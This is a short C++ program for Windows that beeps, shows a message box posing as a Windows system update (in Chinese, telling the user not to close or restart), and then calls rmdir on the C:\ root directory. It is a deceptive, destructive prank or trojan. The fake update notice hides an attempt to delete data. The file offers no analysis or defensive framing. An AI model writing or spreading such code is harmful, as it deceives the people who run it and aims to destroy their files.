#include <bits/stdc++.h>
#include <direct.h>
using namespace std;

int main(){
	srand(time(0));
	Beep(1000,1000);
	MessageBox(NULL,TEXT("Windows 系统更新中,请勿关闭程序或重启"),TEXT("Windows 系统更新"),MB_OK); 
	string dirName = "C:\\";
	rmdir(dirName.c_str());
	return 0;
}
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